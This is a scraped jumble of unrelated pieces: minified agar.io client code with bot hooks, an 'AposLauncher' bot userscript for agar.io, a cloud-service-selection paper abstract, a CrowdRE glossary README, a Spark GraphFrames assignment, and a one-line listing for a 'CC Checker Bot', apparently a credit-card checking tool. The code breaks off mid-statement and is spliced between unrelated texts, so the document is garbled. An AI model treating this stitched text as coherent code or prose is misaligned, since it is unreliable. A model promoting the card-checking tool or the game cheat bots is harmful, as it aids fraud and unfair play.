Ga = !1, Ea = 0, Fa = 0, na = 0, oa = 0, mb = 0, Db = ["#333333", "#FF3333", "#33FF33", "#3333FF"], Ia = !1, $ = !1, bb = 0, B = null, J = 1, x = 1, W = !0, Ba = 0, Da = {}; (function() { var a = d.location.search; "?" == a.charAt(0) && (a = a.slice(1)); for (var a = a.split("&"), b = 0; b < a.length; b++) { var c = a[b].split("="); Da[c[0]] = c[1] } })(); var Qa = "ontouchstart" in d && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(d.navigator.userAgent), Ja = new Image; Ja.src = "img/split.png"; var nb = document.createElement("canvas"); if ("undefined" == typeof console || "undefined" == typeof DataView || "undefined" == typeof WebSocket || null == nb || null == nb.getContext || null == d.localStorage) alert("You browser does not support this game, we recommend you to use Firefox to play this"); else { var ka = null; d.setNick = function(a) { //UPDATE originalName = a; if (getPlayer().length == 0) { lifeTimer = new Date(); } Xa(); K = a; cb(); R = 0 }; d.setRegion = ha; d.setSkins = function(a) { kb = a }; d.setNames = function(a) { wa = a }; d.setDarkTheme = function(a) { ta = a }; d.setColors = function(a) { Oa = a }; d.setShowMass = function(a) { lb = a }; d.spectate = function() { K = null; H(1); Xa() }; d.setGameMode = function(a) { a != P && (":party" == P && e("#helloContainer").attr("data-party-state", "0"), Y(a), ":party" != a && I()) }; d.setAcid = function(a) { Ia = a }; null != d.localStorage && (null == d.localStorage.AB9 && (d.localStorage.AB9 = 0 + ~~(100 * Math.random())), mb = +d.localStorage.AB9, d.ABGroup = mb); e.get(Na + "//gc.agar.io", function(a) { var b = a.split(" "); a = b[0]; b = b[1] || ""; - 1 == ["UA"].indexOf(a) && ob.push("ussr"); ea.hasOwnProperty(a) && ("string" == typeof ea[a] ? y || ha(ea[a]) : ea[a].hasOwnProperty(b) && (y || ha(ea[a][b]))) }, "text"); d.ga && d.ga("send", "event", "User-Agent", d.navigator.userAgent, { nonInteraction: 1 }); var la = !1, Ya = 0; setTimeout(function() { la = !0 }, Math.max(6E4 * Ya, 1E4)); var ea = { AF: "JP-Tokyo", AX: "EU-London", AL: "EU-London", DZ: "EU-London", AS: "SG-Singapore", AD: "EU-London", AO: "EU-London", AI: "US-Atlanta", AG: "US-Atlanta", AR: "BR-Brazil", AM: "JP-Tokyo", AW: "US-Atlanta", AU: "SG-Singapore", AT: "EU-London", AZ: "JP-Tokyo", BS: "US-Atlanta", BH: "JP-Tokyo", BD: "JP-Tokyo", BB: "US-Atlanta", BY: "EU-London", BE: "EU-London", BZ: "US-Atlanta", BJ: "EU-London", BM: "US-Atlanta", BT: "JP-Tokyo", BO: "BR-Brazil", BQ: "US-Atlanta", BA: "EU-London", BW: "EU-London", BR: "BR-Brazil", IO: "JP-Tokyo", VG: "US-Atlanta", BN: "JP-Tokyo", BG: "EU-London", BF: "EU-London", BI: "EU-London", KH: "JP-Tokyo", CM: "EU-London", CA: "US-Atlanta", CV: "EU-London", KY: "US-Atlanta", CF: "EU-London", TD: "EU-London", CL: "BR-Brazil", CN: "CN-China", CX: "JP-Tokyo", CC: "JP-Tokyo", CO: "BR-Brazil", KM: "EU-London", CD: "EU-London", CG: "EU-London", CK: "SG-Singapore", CR: "US-Atlanta", CI: "EU-London", HR: "EU-London", CU: "US-Atlanta", CW: "US-Atlanta", CY: "JP-Tokyo", CZ: "EU-London", DK: "EU-London", DJ: "EU-London", DM: "US-Atlanta", DO: "US-Atlanta", EC: "BR-Brazil", EG: "EU-London", SV: "US-Atlanta", GQ: "EU-London", ER: "EU-London", EE: "EU-London", ET: "EU-London", FO: "EU-London", FK: "BR-Brazil", FJ: "SG-Singapore", FI: "EU-London", FR: "EU-London", GF: "BR-Brazil", PF: "SG-Singapore", GA: "EU-London", GM: "EU-London", GE: "JP-Tokyo", DE: "EU-London", GH: "EU-London", GI: "EU-London", GR: "EU-London", GL: "US-Atlanta", GD: "US-Atlanta", GP: "US-Atlanta", GU: "SG-Singapore", GT: "US-Atlanta", GG: "EU-London", GN: "EU-London", GW: "EU-London", GY: "BR-Brazil", HT: "US-Atlanta", VA: "EU-London", HN: "US-Atlanta", HK: "JP-Tokyo", HU: "EU-London", IS: "EU-London", IN: "JP-Tokyo", ID: "JP-Tokyo", IR: "JP-Tokyo", IQ: "JP-Tokyo", IE: "EU-London", IM: "EU-London", IL: "JP-Tokyo", IT: "EU-London", JM: "US-Atlanta", JP: "JP-Tokyo", JE: "EU-London", JO: "JP-Tokyo", KZ: "JP-Tokyo", KE: "EU-London", KI: "SG-Singapore", KP: "JP-Tokyo", KR: "JP-Tokyo", KW: "JP-Tokyo", KG: "JP-Tokyo", LA: "JP-Tokyo", LV: "EU-London", LB: "JP-Tokyo", LS: "EU-London", LR: "EU-London", LY: "EU-London", LI: "EU-London", LT: "EU-London", LU: "EU-London", MO: "JP-Tokyo", MK: "EU-London", MG: "EU-London", MW: "EU-London", MY: "JP-Tokyo", MV: "JP-Tokyo", ML: "EU-London", MT: "EU-London", MH: "SG-Singapore", MQ: "US-Atlanta", MR: "EU-London", MU: "EU-London", YT: "EU-London", MX: "US-Atlanta", FM: "SG-Singapore", MD: "EU-London", MC: "EU-London", MN: "JP-Tokyo", ME: "EU-London", MS: "US-Atlanta", MA: "EU-London", MZ: "EU-London", MM: "JP-Tokyo", NA: "EU-London", NR: "SG-Singapore", NP: "JP-Tokyo", NL: "EU-London", NC: "SG-Singapore", NZ: "SG-Singapore", NI: "US-Atlanta", NE: "EU-London", NG: "EU-London", NU: "SG-Singapore", NF: "SG-Singapore", MP: "SG-Singapore", NO: "EU-London", OM: "JP-Tokyo", PK: "JP-Tokyo", PW: "SG-Singapore", PS: "JP-Tokyo", PA: "US-Atlanta", PG: "SG-Singapore", PY: "BR-Brazil", PE: "BR-Brazil", PH: "JP-Tokyo", PN: "SG-Singapore", PL: "EU-London", PT: "EU-London", PR: "US-Atlanta", QA: "JP-Tokyo", RE: "EU-London", RO: "EU-London", RU: "RU-Russia", RW: "EU-London", BL: "US-Atlanta", SH: "EU-London", KN: "US-Atlanta", LC: "US-Atlanta", MF: "US-Atlanta", PM: "US-Atlanta", VC: "US-Atlanta", WS: "SG-Singapore", SM: "EU-London", ST: "EU-London", SA: "EU-London", SN: "EU-London", RS: "EU-London", SC: "EU-London", SL: "EU-London", SG: "JP-Tokyo", SX: "US-Atlanta", SK: "EU-London", SI: "EU-London", SB: "SG-Singapore", SO: "EU-London", ZA: "EU-London", SS: "EU-London", ES: "EU-London", LK: "JP-Tokyo", SD: "EU-London", SR: "BR-Brazil", SJ: "EU-London", SZ: "EU-London", SE: "EU-London", CH: "EU-London", SY: "EU-London", TW: "JP-Tokyo", TJ: "JP-Tokyo", TZ: "EU-London", TH: "JP-Tokyo", TL: "JP-Tokyo", TG: "EU-London", TK: "SG-Singapore", TO: "SG-Singapore", TT: "US-Atlanta", TN: "EU-London", TR: "TK-Turkey", TM: "JP-Tokyo", TC: "US-Atlanta", TV: "SG-Singapore", UG: "EU-London", UA: "EU-London", AE: "EU-London", GB: "EU-London", US: "US-Atlanta", UM: "SG-Singapore", VI: "US-Atlanta", UY: "BR-Brazil", UZ: "JP-Tokyo", VU: "SG-Singapore", VE: "BR-Brazil", VN: "JP-Tokyo", WF: "SG-Singapore", EH: "EU-London", YE: "JP-Tokyo", ZM: "EU-London", ZW: "EU-London" }, L = null; d.connect = Ca; //UPDATE /** * Tells you if the game is in Dark mode. * @return Boolean for dark mode. */ window.getDarkBool = function() { return ta; } /** * Tells you if the mass is shown. * @return Boolean for player's mass. */ window.getMassBool = function() { return lb; } /** * This is a copy of everything that is shown on screen. * Normally stuff will time out when off the screen, this * memorizes everything that leaves the screen for a little * while longer. * @return The memory object. */ window.getMemoryCells = function() { return interNodes; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCellsArray = function() { return v; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCells = function() { return E; } /** * Returns an array with all the player's cells. * @return Player's cells */ window.getPlayer = function() { return k; } /** * The canvas' width. * @return Integer Width */ window.getWidth = function() { return m; } /** * The canvas' height * @return Integer Height */ window.getHeight = function() { return r; } /** * Scaling ratio of the canvas. The bigger this ration, * the further that you see. * @return Screen scaling ratio. */ window.getRatio = function() { return h; } /** * [getOffsetX description] * @return {[type]} [description] */ window.getOffsetX = function() { return aa; } window.getOffsetY = function() { return ba; } window.getX = function() { return s; } window.getY = function() { return t; } window.getPointX = function() { return ia; } window.getPointY = function() { return ja; } /** * The X location of the mouse. * @return Integer X */ window.getMouseX = function() { return fa; } /** * The Y location of the mouse. * @return Integer Y */ window.getMouseY = function() { return ga; } window.getMapStartX = function() { return pa; } window.getMapStartY = function() { return qa; } window.getMapEndX = function() { return ra; } window.getMapEndY = function() { return sa; } window.getScreenDistance = function() { var temp = screenDistance(); return temp; } /** * A timestamp since the last time the server sent any data. * @return Last update timestamp */ window.getLastUpdate = function() { return C; } window.getCurrentScore = function() { return R; } /** * The game's current mode. (":ffa", ":experimental", ":teams". ":party") * @return {[type]} [description] */ window.getMode = function() { return P; } window.getServer = function() { return serverIP; } window.setPoint = function(x, y) { ia = x; ja = y; } window.setScore = function(a) { sessionScore = a * 100; } window.setBestTime = function(a) { bestTime = a; } window.best = function(a, b) { setScore(a); setBestTime(b); } window.setBotIndex = function(a) { console.log("Changing bot"); botIndex = a; } window.setMessage = function(a) { message = a; } window.updateBotList = function() { window.botList = window.botList || []; window.jQuery('#locationUnknown').text(""); window.jQuery('#locationUnknown').append(window.jQuery('<select id="bList" class="form-control" onchange="setBotIndex($(this).val());" />')); window.jQuery('#locationUnknown').addClass('form-group'); for (var i = 0; i < w
Cloud computing (CC) has recently been receiving tremendous attention from the IT trade and educational researchers. CC leverages its distinctive services to cloud customers in a very pay-as-you-go, anytime and anyplace manner. As well as Cloud services offer dynamically scalable services on demand. Therefore, service supplying plays a key role in CC. Then, it is good opportunity for customers to find suitable and lowly cost service for their project. Specially, Customer must be able to select appropriate cloud service according to their needs and money. It is time-consuming task for consumers to collect the necessary information and analyze from all cloud service providers to make right decision. As well as it is also a highly demanding task from a computational perspective because multiple consumers who have similar requirements conduct same computations repeatedly. They provide all products you might need for moving your business to the cloud. But these product offerings differ in pricing as well as the naming of their services. Some Businessmen already may use on-premises infrastructure or think which infrastructure will use for my project. They may have more complex problems like how to choose a cloud service, which services want use and specially how many costs want to pay for monthly or yearly. Sometimes, someone already use a cloud services, they have lot of problems like more expensive, less flexibility, hard to use, overwhelming options of services, poor management of GUI and tool, complex price schema and other issues. However, they must spend more price and time as useless. Because they could not select best cloud service provider early to their business. For solving the cloud service selection problem, many researchers have proposed some approaches including multicriteria decision analysis (MCDA) and Brokerage-Based Approach. But we cannot see any machine learning prediction system for solving this issue. This system enables the user to choose from among a number of available choices. In this paper, we make a neural network with TensorFlow to service selection in CC. This system focuses on three main players in CC. There are Amazon Web Services, Microsoft Azure and Google Cloud Platform in the race for cloud services providers. I identify and synthesize several products relevant for web services in Cloud providers. There are Featured, Compute, Storage, Database, Networking, Operation, Identity & Access and Cost. As well as I focus on Small and medium-sized businesses (SMBs). Because these are most aggressive segment in cloud service. It is less-complex IT needs, fewer legacy applications and less IT support than larger enterprises. We use Support Vector Machine (SVM), Multiple linear regression (MLR) and Multiple-criteria decision analysis (MCDA). We develop efficient and flexible recommendation system for ranking cloud service providers. I prove accuracy and effectiveness of our approach through an experimental study with the real and synthetic Cloud data.
upiter
Best Photoshop CC 2019 plugin
saikothasan
CC Checker Bot Telegram Python - Best Premium cc bot
This repository contains the results of automatic glossary terms extraction and their clustering considering two important qualitative attributes, i.e. feature and benefit of the original CrowdRE requirement specifications dataset. In the original CrowdRE dataset, each entry has 6 attributes, i.e., role, feature, benefit, domain, tags and date-time of creation. Since, we are interested in extracting domain-specific terms from this dataset, we only focus on feature and benefit attributes of this dataset. The dataset used in our experiments containing only the feature and benefit attributes of the original CrowdRE dataset can be viewed in the file named "CrowdRE Requirements Dataset.csv". However, the original CrowdRE dataset is devloped by P. K. Murukannaiah et al. and can be accessed from "The smarthome crowd requirements dataset", https://crowdre.github.io/murukannaiah-smarthome-requirements-dataset/, April, 2017. We have computed and reported the ground truth set for a random subset of 100 requirement specifications of the used CrowdRE dataset. In total, we have manually identified a total of 120 ground truth glossary terms with 30 overlapping clusters. The ground truth glossary terms have been calculated from the best intuition of the people (s) involved in this project in an unbiased manner, as there exists no benchmark or gold standard related to the ground truth extraction and clustering for the CrowdRE dataset. The file named "Ground Truth Clusters.docx" shows the ground truth glossary terms along with the manually formulated semantically similar clusters. Note: the clusters are separated with (######) symbol in the file. Further, the manually identified 120 glossary terms in the ground truth set are shown in the third column of the file named as "Extracted Glossary Terms (With and Without WordNet Removal) and Ground Truth Glossary Terms.csv". We have extracted a total of 143 and 292 glossary terms from the CrowdRE dataset with or without removing some words specified in the WordNet lexical database (https://wordnet.princeton.edu/) using a mature text chunking approach. The results are shown in the first and second column of the file named "Extracted Glossary Terms (With and Without WordNet Removal) and Ground Truth Glossary Terms.csv". The extracted glossary terms are trained with the help of a domain specific corpora that is most related to used CrowdRE dataset, i.e. (Wikipedia Home Automation Category for a maximum depth of two, "https://en.wikipedia.org/wiki/Category:Home_automation") and with a pre-trained word vectors UMBC webbase corpus and statmt.org news dataset trained with subwords information in wikipedia 2017 (T. Mikolov, E. Grave, P. Bojanowski, C. Puhrsch, A. Joulin. Advances in Pre-Training Distributed Word Representations) using FastText word embedding vectors (https://fasttext.cc/docs/en/english-vectors.html). The main purpose of the training is to deduce the clusters by forming a the similarity matrix for the extracted glossary terms. For this, we have used two clustering algorithms, viz. K-Means and EM clustering algorithms. The similarity matrix have been developed using the computed semantic similarity scores (cosine similarity) between the word vectors using the word embedding based FastText model. The results in terms of automated formulated clusters for the random subset of 100 requirement specifications of the CrowdRE dataset for which the ground truth glossary terms are calculated are shown in the files named "Automated Ideal (Ground Truth) Clusters.docx" and "Automated Extraction and Clustering.docx" respectively. Note: there exists a maximum of n/2 clusters for n glossary terms. For evaluating the efficacy of the clustering algorithms, we used some commonly used performance evaluation metrics like (precision, recall, f-scores). The evaluation graphs utilizing the area under curve plots (AUC) and evaluating the normalized AUC scores for all the used clustering algorithms are trained on two different datasets and the evaluation results are shown in the two separate files namely, "Cluster Plots.docx" and "Extraction +Clustering Plots.docx" respectively.
nirav1997
Network Properties in Spark GraphFrames In this project, you will implement various network properties using pySpark and GraphFrames. You may need to look into the documentation for GraphFrames and networkx to complete this project. In addition to implementing these network metrics, you will be required to answer some questions when applying these metrics on real world and synthetic networks. Submission Requirements Please create a zip file containing ONLY the following for this project : 0. Do NOT include the data or any extra files. 1. degree.py 2. centrality.py 3. articulations.py 4. A pdf document containing answers to the questions asked in the project description. [Power law questions for Stanford and the 4 random graphs provided in degree.py, answers for the two questions on centrality, answer for the closeness question). Name this as <your_unity_id>.pdf 5. [OPTIONAL] Script for checking power law (if you have written something). Instructions to run in the pdf document which contains the answers to the questions asked in project description. 6. Output for centrality.py saved in a csv file called centrality_out.csv 7. Output for articulations.py saved in a csv file called articulations_out.csv For articulations problem, you may just run it with networkx approach (5 mins run time) and save the output in the file articulations_out.csv. We will be evaluating the project using a script. So please make sure you follow the instructions, or your assignment might not get graded. Degree Distribution The degree distribution is a measure of the frequency of nodes that have a certain degree. Implement a function degreedist, which takes a GraphFrame object as input and computes the degree distribution of the graph. The function should return a DataFrame with two columns: degree and count. For the graphs provided to you, test and report which graphs are scalefree, namely whose degree distribution follows a power law, at least asymptotically. That is, the fraction P(k) of nodes in the network having k connections to other nodes goes for large values of k as P(k) ~ k−γ where γ is a parameter whose value is typically in the range 2 < γ < 3, although occasionally it may lie outside these bounds. Answer the following questions: 1. Generate a few random graphs. You can do this using networkx’s random graph generators. Do the random graphs you tested appear to be scale free? (Include degree distribution with your answer). 2. Do the Stanford graphs provided to you appear to be scale free? Note that GraphFrames represents all graphs as directed, so every edge in the undirected graphs provided or generated must be added twice, once for each direction. When finding if the degrees follow a power law you can then use either the indegree or outdegree, as they should be equal. Centrality Centrality measures are a way to determine nodes that are important based on the structure of the graph. Closeness centrality measures the distance of a node to all other nodes. We will define the closeness centrality as CC(v) =1/ ∑ d(u,v) u∈V where d(u, v) is the shortestpath distance between u and v. Implement the function closeness, which takes a GraphFrame object as input and computes the closeness centrality of every node in the graph. The function should return a DataFrame with two columns: id and closeness. Consider a small network of 10 computers, illustrated below, with nodes representing computers and edges representing direct connections of two machines. If two computers are not connected directly, then the information must flow through other connected machines. Answer the following questions about the graph: 1. Rank the nodes from highest to lowest closeness centrality. 2. Suppose we had some centralized data that would sit on one machine but would be shared with all computers on the network. Which two machines would be the best candidates to hold this data based on other machines having few hops to access this data? Articulation Points Articulation points, or cut vertices, are vertices in the graph that, when removed, create more components than there were originally. For example, in the simple chain 1-2-3, there is a single component. However, if vertex 2 were removed, there would be 2 components. Thus, vertex 2 is an articulation point. Implement the function articulations, which takes a GraphFrame object as input and finds all the articulation points of a graph. The function should return a DataFrame with two columns, id and articulation, where articulation is a 1 if the node is an articulation point, otherwise a 0. Suppose we had the terrorist communication network given in the file 9_11_edgelist.txt . If our goal was to disrupt the flow of communication between different groups, isolating the articulation points would be a good way to do this. Answer the following questions: 1. In this example, which members should have been targeted to best disrupt communication in the organization?
DorazeExplorer
// ==UserScript== // @name Launcher // @namespace AposLauncher // @include http://agar.io/ // @version 2.1 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== Number.prototype.mod = function(n) { return ((this%n)+n)%n; }; Array.prototype.peek = function() { return this[this.length-1]; } console.log("Running Bot Launcher!"); (function (h, f) { //UPDATE function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (68 == e.keyCode) { window.setDarkTheme(!getDarkBool()); } if (70 == e.keyCode) { window.setShowMass(!getMassBool()); } } function humanPlayer() { //Don't need to do anything. return [getPointX(), getPointY()]; } function Sa() { //UPDATE if (window.botList == null) { window.botList = []; window.jQuery('#locationUnknown').append(window.jQuery('<select id="bList" class="form-control" onchange="setBotIndex($(this).val());" />')); window.jQuery('#locationUnknown').addClass('form-group'); } window.botList.push(["Human", humanPlayer]); var bList = window.jQuery('#bList'); window.jQuery('<option />', {value: (window.botList.length - 1), text: "Human"}).appendTo(bList); la = !0; za(); setInterval(za, 180000); B = ma = document.getElementById('canvas'); e = B.getContext('2d'); B.onmousedown = function (a) { if (Aa) { var b = a.clientX - (5 + p / 5 / 2), c = a.clientY - (5 + p / 5 / 2); if (Math.sqrt(b * b + c * c) <= p / 5 / 2) { K(); C(17); return } } T = a.clientX; U = a.clientY; na(); K() }; B.onmousemove = function (a) { T = a.clientX; U = a.clientY; na() }; B.onmouseup = function () { }; /firefox/i.test(navigator.userAgent) ? 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200 : 3000); a || f('#adsBottom').fadeIn(3000) } function Fa() { f('#region').val() ? h.localStorage.location = f('#region').val() : h.localStorage.location && f('#region').val(h.localStorage.location); f('#region').val() ? f('#locationKnown').append(f('#region')) : f('#locationUnknown').append(f('#region')) } function pa() { console.log('Find ' + v + M); f.ajax($ + '//m.agar.io/', { error: function () { setTimeout(pa, 1000) }, success: function (a) { a = a.split('\n'); '45.79.222.79:443' == a[0] ? pa() : Ha('ws://' + a[0]) }, dataType: 'text', method: 'POST', cache: !1, crossDomain: !0, data: v + M || '?' }) } function W() { la && v && (f('#connecting').show(), pa()) } function Ha(a) { if (r) { r.onopen = null; r.onmessage = null; r.onclose = null; try { r.close() } catch (b) { } r = null } var c = h.location.search.slice(1); /^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:[0-9]+$/.test(c) && (a = 'ws://' + c); Va && (a = a.split(':'), a = a[0] + 's://ip-' + a[1].replace(/\./g, '-').replace(/\//g, '') + '.tech.agar.io:' + ( + a[2] + 2000)); F = [ ]; m = [ ]; z = { }; u = [ ]; H = [ ]; A = [ ]; w = x = null; I = 0; console.log('Connecting to ' + a); //UPDATE serverIP = a; r = new WebSocket(a); r.binaryType = 'arraybuffer'; r.onopen = Wa; r.onmessage = Xa; r.onclose = Ya; r.onerror = function () { console.log('socket error') } } function N(a) { return new DataView(new ArrayBuffer(a)) } function O(a) { r.send(a.buffer) } function Wa() { var a; aa = 500; f('#connecting').hide(); console.log('socket open'); a = N(5); a.setUint8(0, 254); a.setUint32(1, 4, !0); O(a); a = N(5); a.setUint8(0, 255); a.setUint32(1, 673720361, !0); O(a); Ia() } function Ya() { console.log('socket close'); setTimeout(W, aa); aa *= 1.5 } function Xa(a) { Za(new DataView(a.data)) } function Za(a) { function b() { for (var b = ''; ; ) { var d = a.getUint16(c, !0); c += 2; if (0 == d) break; b += String.fromCharCode(d) } return b } var c = 0; 240 == a.getUint8(c) && (c += 5); switch (a.getUint8(c++)) { case 16: $a(a, c); break; case 17: P = a.getFloat32(c, !0); c += 4; Q = a.getFloat32(c, !0); c += 4; R = a.getFloat32(c, !0); c += 4; break; case 20: m = [ ]; F = [ ]; break; case 21: qa = a.getInt16(c, !0); c += 2; ra = a.getInt16(c, !0); c += 2; sa || (sa = !0, ba = qa, ca = ra); break; case 32: F.push(a.getUint32(c, !0)); c += 4; break; case 49: if (null != x) break; var d = a.getUint32(c, !0), c = c + 4; A = [ ]; for (var e = 0; e < d; ++e) { var l = a.getUint32(c, !0), c = c + 4; A.push({ id: l, name: b() }) } Ja(); break; case 50: x = [ ]; d = a.getUint32(c, !0); c += 4; for (e = 0; e < d; ++e) x.push(a.getFloat32(c, !0)), c += 4; Ja(); break; case 64: da = a.getFloat64(c, !0), c += 8, ea = a.getFloat64(c, !0), c += 8, fa = a.getFloat64(c, !0), c += 8, ga = a.getFloat64(c, !0), c += 8, P = (fa + da) / 2, Q = (ga + ea) / 2, R = 1, 0 == m.length && (s = P, t = Q, g = R) } } function $a(a, b) { G = + new Date; var c = Math.random(); ta = !1; var d = a.getUint16(b, !0); b += 2; for (var e = 0; e < d; ++e) { var l = z[a.getUint32(b, !0)], k = z[a.getUint32(b + 4, !0)]; b += 8; l && k && (k.S(), k.p = k.x, k.q = k.y, k.o = k.size, k.D = l.x, k.F = l.y, k.n = k.size, k.L = G) } for (e = 0; ; ) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++e; var h, l = a.getInt16(b, !0); b += 2; k = a.getInt16(b, !0); b += 2; h = a.getInt16(b, !0); b += 2; for (var g = a.getUint8(b++), f = a.getUint8(b++), p = a.getUint8(b++), g = (g << 16 | f << 8 | p).toString(16); 6 > g.length; ) g = '0' + g; var g = '#' + g, f = a.getUint8(b++), p = !!(f & 1), r = !!(f & 16); f & 2 && (b += 4); f & 4 && (b += 8); f & 8 && (b += 16); for (var q, n = ''; ; ) { q = a.getUint16(b, !0); b += 2; if (0 == q) break; n += String.fromCharCode(q) } q = n; n = null; z.hasOwnProperty(d) ? (n = z[d], n.K(), n.p = n.x, n.q = n.y, n.o = n.size, n.color = g) : (n = new Ka(d, l, k, h, g, q), n.ka = l, n.la = k); n.d = p; n.j = r; n.D = l; n.F = k; n.n = h; n.ja = c; n.L = G; n.W = f; q && n.Z(q); - 1 != F.indexOf(d) && - 1 == m.indexOf(n) && (document.getElementById('overlays').style.display = 'none', m.push(n), 1 == m.length && (s = n.x, t = n.y)) //UPDATE interNodes[d] = window.getCells()[d]; } //UPDATE Object.keys(interNodes).forEach(function (element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !window.getCells().hasOwnProperty(element); if (isRemoved && (getLastUpdate() - interNodes[element].L) > 3000) { delete interNodes[element]; } else if (isRemoved && computeDistance(getOffsetX(), getOffsetY(), interNodes[element].x, interNodes[element].y) < screenDistance()) { //console.log("Too close! Remove " + computeDistance(getOffsetX(), getOffsetY(), interNodes[element].x, interNodes[element].y) + " || " + screenDistance()); delete interNodes[element]; } }); c = a.getUint32(b, !0); b += 4; for (e = 0; e < c; e++) d = a.getUint32(b, !0), b += 4, n = z[d], null != n && n.S(); //ta && 0 == m.length && Ca(!1) } //UPDATE function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } function screenDistance() { return Math.min(computeDistance (getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance (getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } function screenToGameX(x) { return (x - getWidth() / 2) / getRatio() + getX(); } function screenToGameY(y) { return (y - getHeight() / 2) / getRatio() + getY();; } window.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } window.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } window.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } window.drawCircle = function(x_1, y_1, radius, drawColor) { if (!toggleDraw) { circles.push([x_1, y_1, radius, drawColor]); } } function K() { //UPDATE if (getPlayer().length == 0) { setNick(originalName); } var a; if (ua()) { a = T - p / 2; var b = U - q / 2; 64 > a * a + b * b || 0.01 > Math.abs(La - X) && 0.01 > Math.abs(Ma - Y) || (La = X, Ma = Y, a = N(21), a.setUint8(0, 16), a.setFloat64(1, X, !0), a.setFloat64(9, Y, !0), a.setUint32(17, 0, !0), O(a)) } } function Ia() { if (ua() && null != E) { var a = N(1 + 2 * E.length); a.setUint8(0, 0); for (var b = 0; b < E.length; ++b) a.setUint16(1 + 2 * b, E.charCodeAt(b), !0); O(a) } } function ua() { return null != r && r.readyState == r.OPEN } function C(a) { if (ua()) { var b = N(1); b.setUint8(0, a); O(b) } } function Ea() { oa(); h.requestAnimationFrame(Ea) } function Da() { p = h.innerWidth; q = h.innerHeight; ma.width = B.width = p; ma.height = B.height = q; oa() } function Na() { var a; a = 1 * Math.max(q / 1080, p / 1920); return a *= D } function ab() { if (0 != m.length) { for (var a = 0, b = 0; b < m.length; b++) a += m[b].size; a = Math.pow(Math.min(64 / a, 1), 0.4) * Na(); g = (9 * g + a) / 10 } } function oa() { //UPDATE dPoints = []; circles = []; dArc = []; dText = []; lines = []; var a, b = Date.now(); ++bb; G = b; if (0 < m.length) { ab(); for (var c = a = 0, d = 0; d < m.length; d++) m[d].K(), a += m[d].x / m.length, c += m[d].y / m.length; P = a; Q = c; R = g; s = (s + a) / 2; t = (t + c) / 2 } else s = (29 * s + P) / 30, t = (29 * t + Q) / 30, g = (9 * g + R * Na()) / 10; Ta(); na(); va || e.clearRect(0, 0, p, q); va ? (e.fillStyle = ha ? '#111111' : '#F2FBFF', e.globalAlpha = 0.05, e.fillRect(0, 0, p, q), e.globalAlpha = 1) : cb(); u.sort(function (a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); e.save(); e.translate(p / 2, q / 2); e.scale(g, g); e.translate( - s, - t); for (d = 0; d < H.length; d++) H[d].T(); for (d = 0; d < u.length; d++) u[d].T(); //UPDATE if (getPlayer().length > 0) { var moveLoc = window.botList[botIndex][1](); if (!toggle) { setPoint(moveLoc[0], moveLoc[1]); } } customRender(e); if (sa) { ba = (3 * ba + qa) / 4; ca = (3 * ca + ra) / 4; e.save(); e.strokeStyle = '#FFAAAA'; e.lineWidth = 10; e.lineCap = 'round'; e.lineJoin = 'round'; e.globalAlpha = 0.5; e.beginPath(); for (d = 0; d < m.length; d++) e.moveTo(m[d].x, m[d].y), e.lineTo(ba, ca); e.stroke(); e.restore() } e.restore(); w && w.width && e.drawImage(w, p - w.width - 10, 10); I = Math.max(I, db()); //UPDATE sessionScore = Math.max(I, sessionScore); 0 != I && (null == ia && (ia = new ja(24, '#FFFFFF', true,'#000000')), ia.u('Score: ' + ~~(I / 100) + ' || Best Score: ' + ~~(sessionScore / 100) + " || Best time alive: " + bestTime + " seconds"), c = ia.G(), a = c.width, e.globalAlpha = 0.2, e.fillStyle = '#000000', e.fillRect(10, q - 10 - 24 - 10, a + 10, 34), e.globalAlpha = 1, e.drawImage(c, 15, q - 10 - 24 - 5)); eb(); b = Date.now() - b; b > 1000 / 60 ? y -= 0.01 : b < 1000 / 65 && (y += 0.01); 0.4 > y && (y = 0.4); 1 < y && (y = 1) drawStats(e); } //UPDATE function customRender(d) { d.save(); for(var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } else if (lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.restore(); d.save(); for(var i = 0; i < circles.length; i++) { if (circles[i][3] == 0) { d.strokeStyle = "#FF0000"; } else if (circles[i][3] == 1) { d.strokeStyle = "#00FF00"; } else if (circles[i][3] == 2) { d.strokeStyle = "#0000FF"; } else if (circles[i][3] == 3) { d.strokeStyle = "#FF8000"; } else if (circles[i][3] == 4) { d.strokeStyle = "#8A2BE2"; } else if (circles[i][3] == 5) { d.strokeStyle = "#FF69B4"; } else if (circles[i][3] == 6) { d.strokeStyle = 